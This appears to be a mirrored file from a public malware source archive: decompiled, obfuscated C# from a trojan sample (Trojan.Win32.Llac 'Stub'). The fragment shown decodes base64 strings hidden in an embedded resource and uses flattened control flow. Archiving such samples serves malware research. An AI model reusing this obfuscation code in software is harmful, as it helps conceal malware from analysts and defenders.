mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
209 lines
5.0 KiB
C#
209 lines
5.0 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: .
|
|||
|
// Assembly: Stub, Version=10.1.0.54, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: B6CAF90E-24AA-429E-AF0C-6337F759D114
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.ahnf-1467840597eb1f4ba0b638f6a268d113b70fcfcdf65f9ac2457fdfea55b1e336.exe
|
|||
|
|
|||
|
using \u0001;
|
|||
|
using \u0003;
|
|||
|
using System;
|
|||
|
using System.Collections;
|
|||
|
using System.IO;
|
|||
|
using System.Reflection;
|
|||
|
using System.Runtime.InteropServices;
|
|||
|
using System.Text;
|
|||
|
|
|||
|
namespace \u0001
|
|||
|
{
|
|||
|
internal class \u0003
|
|||
|
{
|
|||
|
[NonSerialized]
|
|||
|
internal static \u0001.\u0001 \u0001;
|
|||
|
private static string \u0001;
|
|||
|
private static string \u0002;
|
|||
|
private static byte[] \u0001;
|
|||
|
private static Hashtable \u0001;
|
|||
|
private static bool \u0001;
|
|||
|
private static int \u0001;
|
|||
|
|
|||
|
public static string \u0002([In] int obj0)
|
|||
|
{
|
|||
|
int index1;
|
|||
|
int num1;
|
|||
|
string str1;
|
|||
|
do
|
|||
|
{
|
|||
|
obj0 -= \u0001.\u0003.\u0001;
|
|||
|
label_1:
|
|||
|
if (\u0001.\u0003.\u0001)
|
|||
|
{
|
|||
|
str1 = (string) \u0001.\u0003.\u0001[(object) obj0];
|
|||
|
switch (str1)
|
|||
|
{
|
|||
|
case null:
|
|||
|
break;
|
|||
|
default:
|
|||
|
goto label_23;
|
|||
|
}
|
|||
|
}
|
|||
|
if (true)
|
|||
|
{
|
|||
|
int num2 = obj0;
|
|||
|
byte[] numArray = \u0001.\u0003.\u0001;
|
|||
|
int index2 = num2;
|
|||
|
index1 = index2 + 1;
|
|||
|
num1 = (int) numArray[index2];
|
|||
|
if ((num1 & 128) != 0)
|
|||
|
{
|
|||
|
if ((num1 & 64) != 0)
|
|||
|
{
|
|||
|
if (false)
|
|||
|
goto label_1;
|
|||
|
else
|
|||
|
goto label_13;
|
|||
|
}
|
|||
|
else
|
|||
|
goto label_9;
|
|||
|
}
|
|||
|
}
|
|||
|
else
|
|||
|
goto label_13;
|
|||
|
}
|
|||
|
while (false);
|
|||
|
int count = num1;
|
|||
|
if (count == 0)
|
|||
|
return string.Empty;
|
|||
|
goto label_18;
|
|||
|
label_9:
|
|||
|
int num3 = num1 & 63;
|
|||
|
int num4;
|
|||
|
int num5 = num4 = 8;
|
|||
|
int num6 = num3;
|
|||
|
label_10:
|
|||
|
if (num4 != 0)
|
|||
|
{
|
|||
|
count = (num6 << num5) + (int) \u0001.\u0003.\u0001[index1++];
|
|||
|
goto label_18;
|
|||
|
}
|
|||
|
else
|
|||
|
goto label_16;
|
|||
|
label_13:
|
|||
|
num6 = (num1 & 31) << 24;
|
|||
|
num5 = (int) \u0001.\u0003.\u0001[index1++];
|
|||
|
num4 = 0;
|
|||
|
int num7;
|
|||
|
int num8;
|
|||
|
if (num4 == 0)
|
|||
|
{
|
|||
|
if (num4 == 0)
|
|||
|
{
|
|||
|
num5 <<= 16;
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
num8 = num5;
|
|||
|
num7 = num6;
|
|||
|
goto label_17;
|
|||
|
}
|
|||
|
}
|
|||
|
else
|
|||
|
goto label_10;
|
|||
|
label_16:
|
|||
|
num7 = num6 + num5;
|
|||
|
num8 = (int) \u0001.\u0003.\u0001[index1++];
|
|||
|
label_17:
|
|||
|
int num9 = num8 << 8;
|
|||
|
count = num7 + num9 + (int) \u0001.\u0003.\u0001[index1++];
|
|||
|
label_18:
|
|||
|
try
|
|||
|
{
|
|||
|
byte[] bytes = Convert.FromBase64String(Encoding.UTF8.GetString(\u0001.\u0003.\u0001, index1, count));
|
|||
|
string str2 = string.Intern(Encoding.UTF8.GetString(bytes, 0, bytes.Length));
|
|||
|
if (\u0001.\u0003.\u0001)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
\u0001.\u0003.\u0001.Add((object) obj0, (object) str2);
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
}
|
|||
|
return str2;
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
return (string) null;
|
|||
|
}
|
|||
|
label_23:
|
|||
|
return str1;
|
|||
|
}
|
|||
|
|
|||
|
static \u0003()
|
|||
|
{
|
|||
|
\u0002.\u0002(typeof (\u0001.\u0003));
|
|||
|
label_1:
|
|||
|
\u0001.\u0003.\u0001 = "1";
|
|||
|
label_2:
|
|||
|
if (true)
|
|||
|
{
|
|||
|
\u0001.\u0003.\u0002 = "133";
|
|||
|
\u0001.\u0003.\u0001 = (byte[]) null;
|
|||
|
do
|
|||
|
{
|
|||
|
if (true)
|
|||
|
{
|
|||
|
\u0001.\u0003.\u0001 = (Hashtable) null;
|
|||
|
\u0001.\u0003.\u0001 = false;
|
|||
|
\u0001.\u0003.\u0001 = 0;
|
|||
|
if (!(\u0001.\u0003.\u0001 == "1"))
|
|||
|
goto label_8;
|
|||
|
}
|
|||
|
else
|
|||
|
goto label_2;
|
|||
|
}
|
|||
|
while (false);
|
|||
|
\u0001.\u0003.\u0001 = true;
|
|||
|
\u0001.\u0003.\u0001 = new Hashtable();
|
|||
|
label_8:
|
|||
|
\u0001.\u0003.\u0001 = Convert.ToInt32(\u0001.\u0003.\u0002);
|
|||
|
Assembly executingAssembly = Assembly.GetExecutingAssembly();
|
|||
|
Assembly assembly;
|
|||
|
if (true)
|
|||
|
assembly = executingAssembly;
|
|||
|
Stream manifestResourceStream = assembly.GetManifestResourceStream("{b6caf90e-24aa-429e-af0c-6337f759d114}");
|
|||
|
try
|
|||
|
{
|
|||
|
int int32 = Convert.ToInt32(manifestResourceStream.Length);
|
|||
|
int length = int32;
|
|||
|
byte[] buffer;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
if (true)
|
|||
|
{
|
|||
|
buffer = new byte[(int) checked ((uint) length)];
|
|||
|
length = manifestResourceStream.Read(buffer, 0, int32);
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
\u0001.\u0003.\u0001 = \u0002.\u0002(buffer);
|
|||
|
manifestResourceStream.Close();
|
|||
|
}
|
|||
|
finally
|
|||
|
{
|
|||
|
while (manifestResourceStream != null)
|
|||
|
{
|
|||
|
if (true)
|
|||
|
{
|
|||
|
manifestResourceStream.Dispose();
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
else
|
|||
|
goto label_1;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|